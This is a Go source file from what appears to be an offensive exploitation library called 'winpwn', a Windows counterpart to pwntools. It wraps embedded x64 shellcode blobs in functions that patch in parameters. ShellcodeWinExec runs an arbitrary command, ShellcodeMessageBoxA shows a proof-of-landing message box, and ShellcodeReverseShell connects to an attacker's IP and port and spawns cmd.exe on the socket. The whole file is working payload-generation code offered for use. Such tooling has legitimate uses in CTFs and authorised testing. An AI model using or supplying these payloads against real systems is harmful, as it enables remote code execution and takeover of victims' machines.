package winpwn

import (
	_ "embed"
	"fmt"
	"net"
)

// winexecX64Template is a prebuilt position-independent x64 shellcode blob
// (see shellcode/asm/winexec_x64.asm — kept as auditable NASM source
// alongside the compiled bytes, the same spirit as pwntools shipping
// shellcraft templates, just compiled ahead-of-time with NASM instead of
// assembled on demand with Keystone). It resolves kernel32's base via the
// PEB and calls WinExec by name, so it needs no leaked address and no
// hardcoded kernel32 base — just landing IP control (a ROP chain, an
// overwritten function pointer, a vtable hijack, ...).
//
//go:embed shellcode/bin/winexec_x64.bin
var winexecX64Template []byte

const winexecCmdBufSize = 260

// ShellcodeWinExec returns x64 shellcode equivalent to WinExec(command,
// SW_SHOW): no hardcoded addresses, resolves kernel32 itself, returns
// normally afterward so the host thread (and process) keeps running. The
// winpwn analogue of pwntools' shellcraft.sh()/asm(shellcraft.execve(...)).
func ShellcodeWinExec(command string) ([]byte, error) {
	cmd := append([]byte(command), 0)
	if len(cmd) > winexecCmdBufSize {
		return nil, fmt.Errorf("command too long: %d bytes (max %d including the NUL terminator)", len(cmd), winexecCmdBufSize)
	}

	code := make([]byte, len(winexecX64Template))
	copy(code, winexecX64Template)
	off := len(code) - winexecCmdBufSize
	copy(code[off:], cmd)
	return code, nil
}

// messageboxX64Template ([shellcode/asm/messagebox_x64.asm]) resolves
// kernel32 via the PEB, then LoadLibraryA's user32.dll through
// resolve_export (not guaranteed loaded in a plain console process, unlike
// kernel32) to find MessageBoxA — same "no leaked address, no hardcoded
// base" property as ShellcodeWinExec, just for a GUI primitive instead of
// a process-launch one.
//
//go:embed shellcode/bin/messagebox_x64.bin
var messageboxX64Template []byte

const (
	messageboxTextBufSize    = 256
	messageboxCaptionBufSize = 64
)

// ShellcodeMessageBoxA returns x64 shellcode equivalent to
// MessageBoxA(NULL, text, caption, MB_OK). Returns normally once the user
// (or whoever/whatever sends it a WM_CLOSE) dismisses the box, so the host
// thread keeps running afterward — useful both as a real GUI-process
// landing primitive and as a simple, visually-obvious "did my exploit
// actually land IP control" proof.
func ShellcodeMessageBoxA(text, caption string) ([]byte, error) {
	textBytes := append([]byte(text), 0)
	captionBytes := append([]byte(caption), 0)
	if len(textBytes) > messageboxTextBufSize {
		return nil, fmt.Errorf("text too long: %d bytes (max %d including the NUL terminator)", len(textBytes), messageboxTextBufSize)
	}
	if len(captionBytes) > messageboxCaptionBufSize {
		return nil, fmt.Errorf("caption too long: %d bytes (max %d including the NUL terminator)", len(captionBytes), messageboxCaptionBufSize)
	}

	code := make([]byte, len(messageboxX64Template))
	copy(code, messageboxX64Template)

	// caption_buf is the very last thing in the assembled blob, text_buf
	// right before it -- mirrors shellcode/asm/messagebox_x64.asm's layout.
	captionOff := len(code) - messageboxCaptionBufSize
	textOff := captionOff - messageboxTextBufSize
	copy(code[textOff:], textBytes)
	copy(code[captionOff:], captionBytes)
	return code, nil
}

// reverseShellX64Template ([shellcode/asm/reverse_shell_x64.asm]) connects
// back to a fixed host:port over ws2_32 and spawns cmd.exe with its stdio
// redirected to the socket — the classic Windows reverse shell. Built on
// the same resolve_export primitive as ShellcodeMessageBoxA (ws2_32.dll
// isn't guaranteed loaded any more than user32.dll is).
//
//go:embed shellcode/bin/reverse_shell_x64.bin
var reverseShellX64Template []byte

const sockaddrBufSize = 16

// ShellcodeReverseShell returns x64 shellcode that connects to host:port
// and execs cmd.exe with its stdin/stdout/stderr redirected to that
// connection. host must be a literal IPv4 address (this is raw shellcode,
// it can't do DNS resolution) — pass the attacker box's IP, not a hostname.
func ShellcodeReverseShell(host string, port uint16) ([]byte, error) {
	ip := net.ParseIP(host)
	if ip == nil {
		return nil, fmt.Errorf("invalid host %q: not an IP literal (shellcode can't resolve DNS)", host)
	}
	ip4 := ip.To4()
	if ip4 == nil {
		return nil, fmt.Errorf("host %q is not an IPv4 address", host)
	}

	code := make([]byte, len(reverseShellX64Template))
	copy(code, reverseShellX64Template)

	// sockaddr_buf is the last thing in the assembled blob: sin_family(2)
	// sin_port(2) sin_addr(4) sin_zero(8) = 16 bytes total.
	sockaddrOff := len(code) - sockaddrBufSize
	code[sockaddrOff+2] = byte(port >> 8) // sin_port, network byte order
	code[sockaddrOff+3] = byte(port)
	copy(code[sockaddrOff+4:sockaddrOff+8], ip4) // sin_addr, already network-order bytes

	return code, nil
}